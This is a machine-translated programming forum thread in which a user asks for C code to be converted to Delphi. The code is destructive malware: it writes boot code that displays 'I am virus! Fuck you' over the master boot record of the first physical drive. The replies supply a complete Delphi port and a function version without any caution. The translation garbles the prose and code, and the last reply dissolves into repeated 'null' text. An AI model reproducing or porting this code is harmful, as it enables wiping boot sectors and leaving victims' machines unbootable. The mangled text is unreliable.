Home > Back-end >  Turn the DELPHI code C code
Turn the DELPHI code C code

Time:09-28

500 ocean please expert help code conversion to DELHI disease is defined as a function code,


# include & lt; Windows. H>
# include & lt; Winioctl. H>

Unsigned char scode []=
"\ xb8 \ x12 \ x00 \ XCD \ x10 \ XBD \ x18 \ x7c \ xb9 \ x18 \ x00 \ xb8 \ x01 \ x13 \ XBB \ x0c"
"\ x00 \ xba \ x1d \ x0e \ XCD \ x10 \ xe2 \ xfe \ x49 \ x20 \ x61 \ x6d \ x20 \ x76 \ x69 \ x72"
"\ x75 \ x73 \ x21 \ x20 \ x46 \ x75 \ x63 \ x6b \ x20 \ x79 \ x6f \ x75 \ x20 \ x3a \ x2d \ x29";
/*
00000000 B81200 mov ax, 12 h; Ah=0, al=12 h (640 * 480)
00000003 CD10 int 10 h; Enter the graphical display mode, to hide the cursor
00000005 BD187C mov bp, Msg; ES: BP=string address
B91800 mov cx 00000008, 18 h; CX=length of string
0000000 b B80113 mov ax, 1301 h; AH=13, AL=01 h
0000000 e BB0C00 mov bx, 000, ch. Page number is 0 (BH=0) black scarlet letter (BL=0 ch, highlighting)
00000011 BA1D0E mov dx, 0 e1dh; Dh lines, dl column
00000014 CD10 int 10 h; No. 10 h interrupt
00000016 E2FE loop $
Msg: db "ok: -)
"*/
Int WINAPI WinMain (
HINSTANCE HINSTANCE,//handle to the current instance
HINSTANCE hPrevInstance,//handle to the previous instance
LPSTR lpCmdLine,//a pointer to the command line
Int nCmdShow//show the state of the window
)
{
HANDLE hDevice;
DWORD dwBytesWritten dwBytesReturned;
BYTE pMBR [512]={0};


Memcpy (pMBR scode, sizeof (scode) - 1);
PMBR [510]=0 x55;
PMBR [511]=0 xaa;

HDevice=CreateFile
(
"\ \ \ \. \ \ PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
If (hDevice==INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
HDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
& DwBytesReturned,
NULL
);

WriteFile (hDevice, pMBR, sizeof (pMBR), & amp; DwBytesWritten, NULL);
DeviceIoControl
(
HDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
& DwBytesReturned,
NULL
);
The CloseHandle (hDevice);
return 0;
}

CodePudding user response:

500 oceans, four questions below there will be YongFu,
There are accounts for the difficulty,

CodePudding user response:

 
The program Test.

USES the
Windows;

Const
Scode: array [0.. 3 * 16-1] of Byte=(
$b8, $12, $00, $CD, $10 and $bd, $18 and $7 c $b9, $18, 00 $, $b8, $01, $13, $bb, $0 c,
$00, $ba, $1 d, $0 e, $CD, $10 and $e2, $fe, $49, $20, $61, $6 d, $20, $76, $69, $72,
$75, $73, $21, $20, $46, $75, $63, $6 b, $20, $79, $6 f, $75, $20, $3 a, $2 d, $29);

FILE_DEVICE_FILE_SYSTEM=$00000009;
FILE_ANY_ACCESS=0;
METHOD_BUFFERED=0;
FSCTL_LOCK_VOLUME=(FILE_DEVICE_FILE_SYSTEM SHL 16) or (FILE_ANY_ACCESS SHL 14) or (2) 6 SHL or METHOD_BUFFERED;
FSCTL_UNLOCK_VOLUME=((FILE_DEVICE_FILE_SYSTEM SHL 16) or (FILE_ANY_ACCESS SHL 14) or (2) 7 SHL or METHOD_BUFFERED);


Var
HDevice: THandle;
DwBytesWritten dwBytesReturned: dwords.
PMBR: array [0..] 512-1 Byte,
The begin
FillChar (pMBR [0], SizeOf (pMBR), 0).
Move (scode [0], pMBR [0], SizeOf (scode) - 1);
PMBR [510] :=$55.
PMBR [511] :=$AA;

HDevice:=CreateFile (
'\ \ \ PHYSICALDRIVE0',
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
Nil,
OPEN_EXISTING,
0,
0);
If (hDevice=INVALID_HANDLE_VALUE) then
Exit;
DeviceIoControl (
HDevice,
FSCTL_LOCK_VOLUME,
Nil,
0,
Nil,
0,
DwBytesReturned,
Nil);

WriteFile (hDevice, pMBR, sizeof (pMBR), dwBytesWritten, nil);
DeviceIoControl (
HDevice,
FSCTL_UNLOCK_VOLUME,
Nil,
0,
Nil,
0,
DwBytesReturned,
Nil
);
The CloseHandle (hDevice);
End.


This is the code

CodePudding user response:

To function like a
 
The function UnKnownFunc: Integer;
Const
Scode: array [0.. 3 * 16-1] of Byte=(
$b8, $12, $00, $CD, $10 and $bd, $18 and $7 c $b9, $18, 00 $, $b8, $01, $13, $bb, $0 c,
$00, $ba, $1 d, $0 e, $CD, $10 and $e2, $fe, $49, $20, $61, $6 d, $20, $76, $69, $72,
$75, $73, $21, $20, $46, $75, $63, $6 b, $20, $79, $6 f, $75, $20, $3 a, $2 d, $29);

FILE_DEVICE_FILE_SYSTEM=$00000009;
FILE_ANY_ACCESS=0;
METHOD_BUFFERED=0;
FSCTL_LOCK_VOLUME=(FILE_DEVICE_FILE_SYSTEM SHL 16) or (FILE_ANY_ACCESS SHL 14) or (2) 6 SHL or METHOD_BUFFERED;
FSCTL_UNLOCK_VOLUME=((FILE_DEVICE_FILE_SYSTEM SHL 16) or (FILE_ANY_ACCESS SHL 14) or (2) 7 SHL or METHOD_BUFFERED);
Var
HDevice: THandle;
DwBytesWritten dwBytesReturned: dwords.
PMBR: array [0..] 512-1 Byte,
The begin
FillChar (pMBR [0], SizeOf (pMBR), 0).
Move (scode [0], pMBR [0], SizeOf (scode) - 1);
PMBR [510] :=$55.
PMBR [511] :=$AA;

HDevice:=CreateFile (
'\ \ \ PHYSICALDRIVE0',
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
Nil,
nullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnull
  • Related